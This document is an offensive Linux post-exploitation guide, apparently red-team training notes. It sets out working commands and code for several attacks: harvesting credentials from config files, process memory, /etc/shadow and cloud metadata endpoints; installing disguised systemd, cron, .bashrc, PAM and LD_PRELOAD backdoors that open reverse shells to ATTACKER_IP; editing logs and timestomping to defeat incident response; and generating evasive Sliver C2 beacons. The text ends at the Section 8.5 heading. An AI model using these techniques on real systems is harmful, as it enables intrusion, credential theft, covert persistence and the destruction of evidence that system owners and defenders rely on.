1.1c_Linux_Deep_Dive_P2

1.1c Linux Deep Dive — Part 2: Looting, Persistence, Cleanup & C2

BLUF: Part 2 covers post-exploitation. Covers post-exploitation looting (credentials, keys, cloud metadata), persistence mechanisms (SSH, systemd, cron, PAM, LD_PRELOAD), cleanup/anti-forensics, shell upgrades, and Sliver C2 deployment. Parts 1a & 1b covers OPSEC baseline and privilege escalation.

Note

Parts 1a & 1b: Sections 1–2 · This file: Sections 3–8


Section 3 — Finding Valuable Data: Post-Exploitation Looting

Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.


3.1 — Credentials in Config Files

# The most common wins -- search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
  /var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
  grep -vE "\.pyc$|/proc/|binary" | head -20

# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null      # WordPress DB creds
find / -name "database.yml" 2>/dev/null       # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null  # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
  xargs grep -li "password\|secret" 2>/dev/null    # Spring Boot

# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null               # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null  # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null                   # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
  xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null

# SSH keys -- private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
  grep -v "\.pub$" | while read f; do
    echo "=== $f ==="; head -1 "$f"; echo
  done

# Known_hosts -- maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
  grep -v "^#" | awk '{print $1}' | sort -u

3.2 — Shell History & Log Artifacts

# All history files -- operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
  -o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
  2>/dev/null | xargs cat 2>/dev/null

# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30

# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30

3.3 — In-Memory Credentials (/proc)

This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.

# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u

# Command line arguments of all processes -- passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
  grep -iE "pass|secret|token|key|--password" | head -20

# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"

# Memory maps -- can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u

3.4 — /etc/shadow — Offline Crack

# Dump shadow (requires root)
cat /etc/shadow

# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt

# Transfer to attacker machine, then crack offline:
# hashcat -- SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Identify hash type from shadow entry:
# $1$ = MD5          hashcat -m 500
# $2y$ = bcrypt      hashcat -m 3200  (very slow)
# $5$ = SHA-256      hashcat -m 7400
# $6$ = SHA-512      hashcat -m 1800  (most common)
# $y$ = yescrypt     hashcat -m 15900 (modern Ubuntu)

3.5 — Swap File / Memory Dump

# Check if swap is in use
swapon --show
cat /proc/swaps
free -h

# Swap is physical memory dumped to disk -- may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5   # replace with your swap partition

# Manual approach -- grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20

# Hibernate image -- if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null

3.6 — Cloud Instance Metadata (IMDS)

If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.

# AWS IMDSv1 (no token required -- check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token -- use immediately for AWS API calls

# AWS IMDSv2 (requires token -- but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# User-data -- admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data  # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames

# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata:true"

OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.


Section 4 — Persistence: Stealthy & Resilient

Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.


4.1 — SSH Authorized Keys

Detectability: Low (unless IR specifically checks ~/.ssh/)

# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all

# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment -- harder to notice against legitimate keys

# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

4.2 — Systemd Service (Disguised)

Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)

# Choose a name that blends in -- mimic real systemd service names
# Bad:  backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service

cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)

[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

# Create the "binary" it calls -- a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper

# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service

# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service   # should show active/running

# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service

OPSEC: Set StandardOutput=null and StandardError=null to prevent log output from landing in journald. Use RestartSec=30 with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never use Restart=always with a 0-second delay — that generates a flood of restart events in the journal.


4.3 — Cron Persistence

Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)

# System-wide cron (requires root) -- runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 -- unlikely to trigger pattern matching on hourly/daily

# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper

# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -

# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync

# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper

4.4 — .bashrc / .profile Conditional Backdoor

Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)

# Only beacon if callback host isn't already established -- avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)

cat >> ~/.bashrc << 'EOF'

# system check
_svc_check() {
    pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
    (bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF

# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running

# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective -- modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc

4.5 — PAM Backdoor (accepts any password for a user)

Detectability: Medium-High (PAM module changes are checked during IR, but often missed)

# Add pam_permit.so to PAM stack for SSH -- allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig

# Add to the TOP of the auth section -- before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd

# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited

# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt -- not a persistence mechanism but credential logger

OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.


4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload

Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)

# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    // Only fire once -- avoid loops when our payload itself is a dynamic binary
    if (getenv("_PRELOAD_DONE")) return;
    putenv("_PRELOAD_DONE=1");

    // Don't fire as root -- avoids noise, only fires for user-level processes
    if (getuid() == 0) return;

    // Check if beacon is running
    if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
        system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
    }
}
EOF

gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c

# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload

# Verify (will trigger on this command)
ls /   # any dynamic binary will trigger the constructor

# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload

OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like ls, ps, cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.


Section 5 — Cleanup & Anti-Forensics

Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.


5.1 — History Wipe

# In-session: stop recording new commands (already done in Section 1, but confirm)
unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
set +o history
history -c            # clear in-memory history list (RAM only -- does NOT touch disk)
history -w            # flush the now-empty in-memory list to HISTFILE (/dev/null)
# Result: ~/.bash_history on disk is untouched; this session writes nothing new

# --- If the engagement scope EXPLICITLY requires wiping disk history ---
# (only do this if authorized; file wipes are detectable by forensics)

# Overwrite specific file (cat /dev/null is safer than rm -- rm leaves inode gap)
# cat /dev/null > ~/.bash_history

# If a system profile forces HISTFILE back to ~/.bash_history, redirect it:
# ln -sf /dev/null ~/.bash_history   # symlink to /dev/null; leaves detectable symlink

# If you must wipe all shell histories across interpreters:
# for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
#           ~/.mysql_history ~/.psql_history ~/.irb_history; do
#   [ -f "$f" ] && cat /dev/null > "$f"
# done

5.2 — Log Line Removal

Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).

# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null

# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log

# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log  # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log

# wtmp / btmp / lastlog -- binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp

# Clear btmp (failed login attempts -- don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp

# Systemd journal -- you can't easily edit individual journal entries
# If you need to clear it: (very noisy -- only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null  # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)

5.3 — Timestomping (Match Modified Files to Originals)

Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.

Pre-Stomp: Read the Timestamps Before You Touch Anything

# ls -lisa -- long listing with inode number and block count
# i = inode, l = long format, s = block size, a = show hidden files
ls -lisa /etc/cron.d/
# Output: inode  blocks  perms  links  owner  group  size  mtime  name
# 131074  8  -rw-r--r-- 1  root  root  191  Jan 15 14:30  anacron

# ls -lisu -- same but sorted by file size (largest first)
# Useful for spotting anomalous large files in a directory
ls -lisu /etc/cron.d/
ls -lisu /etc/systemd/system/
ls -lisu ~/.ssh/

# Read the exact timestamp of the reference file BEFORE you modify anything
stat /etc/cron.d/anacron
# Access: 2023-01-15 14:30:00.000000000 +0000   <-- atime
# Modify: 2023-01-15 14:30:00.000000000 +0000   <-- mtime
# Change: 2023-01-15 14:30:00.000000000 +0000   <-- ctime (you can't fake this)

# Note the timestamps -- you'll set these on your file after modification

Timestomp: Set Timestamps After Modification

# Match mtime + atime from a reference file (simplest approach)
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file

# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper

Surgical Control: Set atime and mtime Independently

# touch -a   -> set ONLY the access time (atime)
# touch -m   -> set ONLY the modification time (mtime)
# touch -t   -> specify exact timestamp: [[CC]YY]MMDDhhmm[.ss]

# Set ONLY atime to a specific time (leaves mtime untouched)
touch -a -t 202301151430.00 /etc/cron.d/your_file
#            ^^^^^^^^^^^^^ = 2023-01-15 14:30:00

# Set ONLY mtime to a specific time (leaves atime untouched)
touch -m -t 202301151430.00 /etc/cron.d/your_file

# Set both to the same specific time
touch -t 202301151430.00 /etc/cron.d/your_file

# Timestamp format breakdown:
# touch -a -t YYYYMMDDHHMI.SS filename
#              2023  = year
#                  01 = month (January)
#                    15 = day
#                      14 = hour (24h)
#                        30 = minute
#                           .00 = seconds (optional)

# Real-world example: your modified file should look like it was last touched
# on Jan 15, 2023 at 14:30 UTC -- same as the reference file (anacron)
touch -a -t 202301151430.00 /etc/cron.d/sysstat-helper   # set atime
touch -m -t 202301151430.00 /etc/cron.d/sysstat-helper   # set mtime

Verify the Stomp Worked

# Compare your file against the reference
stat /etc/cron.d/anacron
stat /etc/cron.d/your_file
# Access and Modify times should match

# ls -lisa confirms the displayed mtime in the listing matches
ls -lisa /etc/cron.d/
# Both files should show the same date/time column

# IR check simulation -- your file should NOT appear here
find /etc/cron.d/ -newer /etc/cron.d/anacron
# Empty output = timestomp successful for mtime

OPSEC notes:


5.4 — Tool Cleanup

# Remove all tools you dropped -- work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/

# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file

# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c

# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"

5.5 — What IR Teams Look For — Know Their Checklist

IR Action What They Check Your Counter
last / lastlog Login records from wtmp/lastlog Wipe with utmpdump, cat /dev/null > /var/log/lastlog
find / -newer /etc/passwd Recently modified files Timestomp all modified files
systemctl list-units Unexpected services Disguise service names, match descriptions
crontab -l + /etc/cron* Cron jobs Use infrequent schedules, hide in sysstat dirs
cat ~/.bash_history Shell history Wipe on entry AND exit
cat /etc/pam.d/* PAM configuration changes Revert PAM changes when possible
cat /etc/ld.so.preload LD_PRELOAD persistence Timestomp, or use only as a last resort
ls -la ~/.ssh/ Authorized keys Match timestamps to existing keys
ps auxf Running processes Use process name masquerading
ss -tunap Network connections Use short-lived beacons, not persistent shells
strings /proc/*/environ In-memory credentials N/A — this is you doing it to them
auditctl -l + audit.log Audit trail Can't erase audit.log without root; avoid audited syscalls
md5sum / sha256sum on system files File integrity (AIDE/Tripwire) You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths

Section 6 — Shell Upgrade: nc -> Full TTY

A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.

Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.


6.1 — Python PTY (Most Common, Fastest)

Run on the victim side inside your nc shell:

# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null

This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.


6.2 — Full TTY via stty (The Proper Fix)

After running the Python PTY above:

# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 3 (victim -> attacker): background the shell -- press Ctrl-Z
# You're now back on your attacker terminal

# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank -- that's normal, type the next commands blindly

# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash

# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size -> returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220

Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.

OPSEC: stty raw -echo changes your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typing reset blindly or opening a new terminal tab.


6.3 — socat (Best Option if Available)

If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.

# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

Full TTY with job control, signals, and history immediately. No extra steps.


6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)

Gives you readline history and basic completion on the attacker side without touching the victim:

# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444

Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.


6.5 — Shell Upgrade Quick Reference

Situation Command (Victim Side) Result
Python3 available python3 -c 'import pty; pty.spawn("/bin/bash")' Basic TTY (su/sudo work)
Python2 only python -c 'import pty; pty.spawn("/bin/bash")' Basic TTY
No Python /usr/bin/script -qc /bin/bash /dev/null Basic TTY
Perl available perl -e 'exec "/bin/bash";' Basic shell (no TTY)
socat available See 6.3 above Full TTY immediately
After basic PTY stty dance (6.2 above) Full TTY via nc
Attacker side rlwrap nc -nlvp PORT Readline history only

Section 7 — C2 Frameworks: Why nc Is a Liability

nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.

Why nc Breaks on Real Engagements

Problem nc Shell C2 Framework
Session drops (network blip) Dead — reconnect manually Automatic reconnect
Multiple targets One terminal per shell, chaos Centralized operator console
Pivoting / port forwards Manual SSH chains Built-in SOCKS, tunnels
Payload evasion None — bash spawns are trivially detected Custom protocols, encrypted comms, sleep/jitter
Evidence in logs Every bash -i shows in auth.log, ps Configurable process masquerade, encrypted traffic
Kill date / time limits None Built-in scheduling, datetime limits
Team operations Not possible Multi-operator with task queuing

C2 Framework Comparison

Framework Language Best For Linux Support Key Stealth Feature
Sliver Go General red team, cloud/Linux focus [Y] Excellent mTLS, garble obfuscation, beacon scheduling
Havoc C/C++ Windows-heavy engagements [Y] Good Demon agent, malleable comms
Covenant .NET Windows AD operations [~] Limited HTTP listener profiles
Merlin Go Low-footprint Linux ops [Y] Good HTTP/2, DNS C2, small agent
Mythic Python backend Custom agents, modular [Y] Good Pluggable agent/profile system

For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.


Section 8 — Sliver C2: Stealthy Linux Payloads

Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.


8.1 — Installation (Attacker/C2 Server)

# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v arm \
  | cut -d '"' -f 4 \
  | wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver

# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make          # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./

# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start

8.2 — Beacon vs Session: Which to Use

Beacon Session
Connection Periodic check-ins (sleep-based) Persistent, always-on
Stealth [Y] High — looks like periodic web traffic [~] Low — persistent connection is anomalous
Interactivity Commands queued, executed on next check-in Immediate response
When to use Default for all ops — stealth first Interactive phases (priv-esc, lateral move)
Converting interactive command promotes beacon -> session N/A

Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.


8.3 — Stealthy Beacon Generation: All the Flags

# Full stealthy Linux beacon -- run inside the Sliver console
generate beacon \
  --mtls YOUR_C2_IP:8888 \         # mTLS -- encrypted, mutual auth, ~looks like HTTPS
  --os linux \                     # target OS
  --arch amd64 \                   # or arm64 for cloud/IoT/Raspberry Pi
  --format elf \                   # elf=binary, shared=.so, shellcode=raw bytes
  --name "systemd-helper" \        # label in Sliver console (not process name on target)
  --evasion \                      # anti-analysis: anti-debug, stack canaries
  --skip-symbols \                 # strip Go symbol table -- blocks debugger+reverser
  --seconds 3600 \                 # sleep 3600s (1hr) between check-ins
  --jitter 600 \                   # add random 0-600s on top of sleep (not a %)
  --reconnect 60 \                 # retry delay if C2 unreachable
  --limit-datetime "2025-12-31T23:59:59Z" \  # KILL DATE -- RFC3339 UTC, implant exits after this
  --limit-hostname webserver01 \   # only run if hostname matches exactly
  --limit-username ubuntu \        # only run if username matches
  --limit-fileexists /etc/ssh/sshd_config \  # only run if this file exists (confirms target)
  --save /tmp/beacon.elf

# Verify the generated implant
implants          # list all generated implants with config summary

Flag breakdown:

Flag Format / Value What it does
--evasion boolean Anti-debug, anti-analysis, stack canaries compiled in
--skip-symbols boolean Strips Go symbol table (-ldflags "-s -w") -> harder to reverse
--seconds / --minutes / --hours / --days int Sleep interval components (combined)
--jitter N int (seconds) Max random addition to sleep — flat 0 to N seconds, NOT a percentage
--reconnect N int (seconds) Retry delay if C2 unreachable
--limit-datetime RFC3339 string Kill date — implant exits after this UTC timestamp; use for op time-boxing
--limit-hostname string Exact hostname match check at startup
--limit-username string Exact username match check at startup
--limit-fileexists path File existence check — confirms you're on the right target
--format elf / shared / shellcode ELF=binary, shared=.so (harder to detect), shellcode=raw
--name string Console label only — does NOT change process name on target

Important: --limit-datetime is a kill date (expiry), not a schedule. It takes RFC3339 format: "2025-12-31T23:59:59Z" (UTC) or "2025-12-31T18:59:59-05:00" (EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).


8.4 — Scheduled Beacon at 0800 EST (Business Hours)

Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.

For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.

# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ  (UTC)
#      or YYYY-MM-DDTHH:MM:SS-05:00  (EST offset)

# Example: beacon active until end of engagement (Dec 31)
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # kill date in UTC
  --save /tmp/beacon_killdate.elf

# Example: short engagement window -- implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-05T23:00:00Z" \   # 1800 EST = 2300 UTC
  --save /tmp/beacon_shortop.elf

# Check target's timezone before choosing your UTC offset:
# EST  = UTC-5   -> 0800 EST = 1300 UTC
# EDT  = UTC-4   -> 0800 EDT = 1200 UTC  (summer)
# UTC  = UTC+0   -> 0800 UTC = 0800 UTC  (most servers)

Time-of-day control — what actually works:

Technique Mechanism Restriction Type
--limit-datetime "2025-12-31..." Kill date — stop after this UTC time Expiry only
--seconds 86400 --jitter 3600 Sleep 24h with 1h variance Reduces frequency, not a schedule
Cron wrapper (8.5) OS scheduler launches beacon at 0800, kills it at 1800 True time-of-day control
systemd timer (8.5) Same as cron but via systemd True time-of-day control

Bottom line: Use --limit-datetime for kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800-1800 M-F AND self-destructs at end of engagement.


8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)

This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.

